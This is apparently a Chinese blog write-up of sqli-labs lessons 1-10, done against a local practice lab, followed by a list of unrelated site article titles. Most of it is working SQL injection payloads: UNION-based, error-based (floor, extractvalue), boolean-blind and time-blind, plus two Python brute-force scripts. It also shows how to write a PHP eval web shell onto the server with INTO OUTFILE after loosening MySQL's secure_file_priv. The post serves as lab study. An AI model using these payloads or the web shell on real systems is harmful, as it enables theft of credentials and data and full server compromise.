Less 1-4(基础注入)

基础知识:

  • table_schema:数据库的名称
  • table_name:表的名称
  • column_name:列的名称
  • information_schema:表示所有信息,包括库、表、列
  • information_schema.tables:表示所有表的信息
  • information_schema.columns:表示所有列的信息
  • limit 0,1 :从第0位(第一个)开始搜索1个
  • group_concat:将结果联合在一行输出

查库

  • select 1,2,group_concat(schema_name) from information_schema.schemata

Payload

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

selete 1,2是因为发现有三个输出位置,第一个没有结果,需要爆的的位置在2,3均可。

不一定一定是'闭合,不同题还可能是",)等等。

最后的+会被解析成空格,如果没有+,注释符号--会和'再一起导致报错。

查表

  • select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

Payload

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查列

  • select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

payload

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

查字段

  • select 1,2,group_concat(username,0x3a,password) from security.users

0x3a 16进制转10进制就是58 转字符就是;

payload与前面类似

Less 5-6(报错注入)

  1. floor报错

    • 1'后+ or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

  2. extractvalue报错

    • 1'后+or extractvalue(1, concat(1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) --+
    • 上面是查表,其他的类似更改就行。
    • 结果只能一个一个显示,故是limit x,1。要逐个查询则更改x的值。

Less 7 (导入文件注入)

  • 一点补充,不同软件及系统下网站根目录:

linux:/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm

apache:.../var/www/htm,.../var/www/html/htdocs

phpstudy(我就是这个):...\PHPTutorial\WWW\

那么该怎么获取到呢,这个板块我们无法拿到,可以在之前Less 1试试

payload:?id=-1' union select 1,@@basedir,@@datadir --+

成功拿到了地址

现在回到Less 7

payload:?id=1')) union select 1,2,'<?php @eval($_POST["theoyu"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+

发现并没能传入文件..

百度得知需要查看mysql有无写入权限:

  • 打开mysql 输入show variables like '%secure%';

  • 这里是我已经更改过的,没有更改的secure_file_priv这里value应该是NULL,需要打开mysql.ini加入secure_file_priv="/"

  • 然后就是上面我的样子了!就可以传文件了。

  • 之后就可以用蚁剑或者菜刀为所欲为了~

Less 8(布尔注入)

payload:?id=1' and (select length(database())=1) --+

这里不断更改1,2直到8,根据页面是否返回you are in......判断正确与否,这里用python脚本尝试爆破数据库长度和名字。

import requests
import re
import datetime target_url='http://localhost/sqli-labs-master/Less-8/' '''Get database length'''
def get_database_length(target_url):
print('Loading...')
for i in range(1,10):
payload = "?id=1' and (select length(database())=%s) --+"%i
htmlcontent = requests.get(target_url + payload).text
result = re.findall("You are in...........",htmlcontent)
if not result:
continue
else:
print('Database length: %s' %i)
return i '''Get database name'''
def get_database_name(target_url):
db_name = ''
db_length = get_database_length(target_url)
letters = 'abcdefghijklmnopqrstuvwxyz'
for i in range(1,db_length + 1):
for letter in letters:
payload = "?id=1' and substr(database(),%s,1)='%s' --+" %(i, letter)
r = requests.get(target_url + payload)
if 'You are in' in r.text:
db_name += letter
print(db_name)
break print('Database name:%s'%db_name)
return db_name if __name__ == '__main__':
print('+---------------------------------------------------------------------------------------------+')
begin = datetime.datetime.now()
target_url = 'http://127.0.0.1/sqli-labs-master/Less-8/'
database = get_database_name(target_url) print('+---------------------------------------------------------------------------------------------+')

结果如下:

也不知道为什么,速度真的很慢很慢很慢??平均每个字母尝试都画了一秒,一个字节就画了快一分钟(还是我没把数字包含进去),看视频里都是刷瞬间就弄完了,寻思我的电脑也没那么烂阿?

哦对了不想用python的话用burp suite也可以,很简单速度好像还快一些。

Less 9-10 (基于时间的盲注)

  • 在这两个模块,无论我们输入什么,返回的结果都是一样的,只能用sleep函数,根据返回的时间进行判断。
import requests
import datetime
import time
global length def database_len():
for i in range(1,10):
url='''http://localhost/sqli-labs-master/Less-9/'''
payload='''?id=1' and if(length(database())=%d,sleep(3),0) --+'''%i
start_time=time.time()
requests.get(url+payload)
if time.time()-start_time>3:
print('database length is ',i)
global length
length=i
break
else:
print(i)
database_len() def database_name():
name=''
for j in range(1,length+1):
for i in 'abcdefghijklmnopqrstuvwxyz0123456789':
url='''http://localhost/sqli-labs-master/Less-9/'''
payload='''?id=1' and if(substr(database(),%d,1)='%s',sleep(3),0)--+'''%(j,i)
start_time=time.time()
requests.get(url+payload)
if time.time()-start_time>3:
name+=i
print(name)
break
print('database_name:',name) database_name()
  • 输出结果

最新文章

  1. C#开发微信门户及应用(38)--微信摇一摇红包功能
  2. JavaScript 实现彩票中随机数组的获取
  3. 放假回来啦!!小技能:一个div不给width,怎么让它居中捏?`(*∩_∩*)′
  4. Javascript——Context和Scope的一些学习总结
  5. Linux下获得系统时间的C语言实现
  6. [读书笔记]C#学习笔记八:StringBuilder与String详解及参数传递问题剖析
  7. web.xml 配置 加载顺序
  8. ajax学习计划
  9. 如果将synthesize省略,语义特性声明为assign retain copy时,自己实现setter和getter方法
  10. RX学习笔记:正则表达式
  11. DataTable.ImportRow()与DataTable.Rows.Add()的区别
  12. 【iOS开发必收藏】详解iOS应用程序内使用IAP/StoreKit付费、沙盒(SandBox)测试、创建测试账号流程!【2012-12-11日更新获取”产品付费数量等于0的问题”】
  13. object转化为string
  14. Keil C51里面lib文件生成和调用方法
  15. 【※索引】mysql索引常用命令
  16. Js判断密码强度并显示提示信息
  17. Couldn&#39;t load libPassword from loader:NDK开发中C文件编译成cpu对应的so类库时,找不到类库报错的原因之一
  18. OWIN与Katana
  19. Codeforces 12D Ball 树形阵列模拟3排序元素
  20. EF Power Tools 参数错误 HRESULT:0x80070057 (E_INVALIDARG))

热门文章

  1. ssm框架中applicationContext.xml文件中配置别名
  2. 华为云GaussDB(DWS)内存知识点,你知道吗?
  3. 重学c#系列——异常续[异常注意事项](七)
  4. 强烈推荐 16 款 IDEA 插件,让你的开发速度飞起来!
  5. 验证Kubernetes YAML的最佳实践和策略
  6. 数据洞察 | Python解读地摊——你想好摆摊去卖什么了吗?
  7. 小白入门Web前端开发学习一周小结
  8. 初识HTML(二)
  9. Take C# 8.0 for a spin
  10. golang 设计模式